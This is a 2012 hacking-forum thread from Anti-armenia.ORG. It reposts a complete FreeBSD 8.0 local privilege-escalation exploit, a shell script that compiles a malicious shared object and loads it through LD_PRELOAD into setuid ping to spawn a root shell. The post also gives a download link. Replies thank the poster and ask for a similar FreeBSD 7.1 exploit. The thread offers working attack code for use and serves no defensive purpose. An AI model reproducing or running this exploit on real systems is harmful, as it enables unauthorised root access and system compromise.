Anti-armenia.ORG - Forumlar - FreeBSD_8.0_Local_Root_Exploit



Istifadəçi
    2012-04-07 18:05 GMT                 

CwGhost



VIP
Mesaj Sayı : 160
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : CwGhost
Yaş :
Mesaj :

Mövzunu Paylaş!


gcc freebsd.c -o freebsd

http://dl.dropbox.com/u/71363581/exploit/FreeBSD/FreeBSD_8.0_Local_Root_Exploit.c

Kod:
#=====================================================================
#                      .__         .__  __            .__    .___
#  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
#_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ |
#\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ |
# \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ |
#     \/      \/|__|                                          \/ 
# Exploit-ID is the Exploit Information Disclosure
#
#Web             : exploit-id.com
#e-mail          : root[at]exploit-id[dot]com             
#
#            #########################################  
#      I'm Caddy-Dz, member of Exploit-Id
#   #########################################  
#======================================================================

####
# Exploit Title: FreeBSD 8.0 Local Root Exploit
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com  |  Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Category:: Local Exploits
# Tested on: 8.0-RELEASE
####

# Exploit

#!/bin/sh
echo ** FreeBSD local r00t Exploit
echo by Caddy-Dz
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env


# Peace From Algeria ...

#=================================**Algerians Hackers**=======================================|
# Greets To :                                                                                |
#  KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T , yacine hebbal |
#  All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com)     |
#  All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , |
#  RmZ ...others                                                                              |
#============================================================================================ |

# 1337day.com [2011-10-12]

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-04-09 00:29 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Çox sağol.

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2012-04-14 20:54 GMT                 

L_nur777



İstifadəçi
Mesaj Sayı : 18
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət :
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


kimdə freebsd 7.1 exploiti var?

Anti-armenia.ORG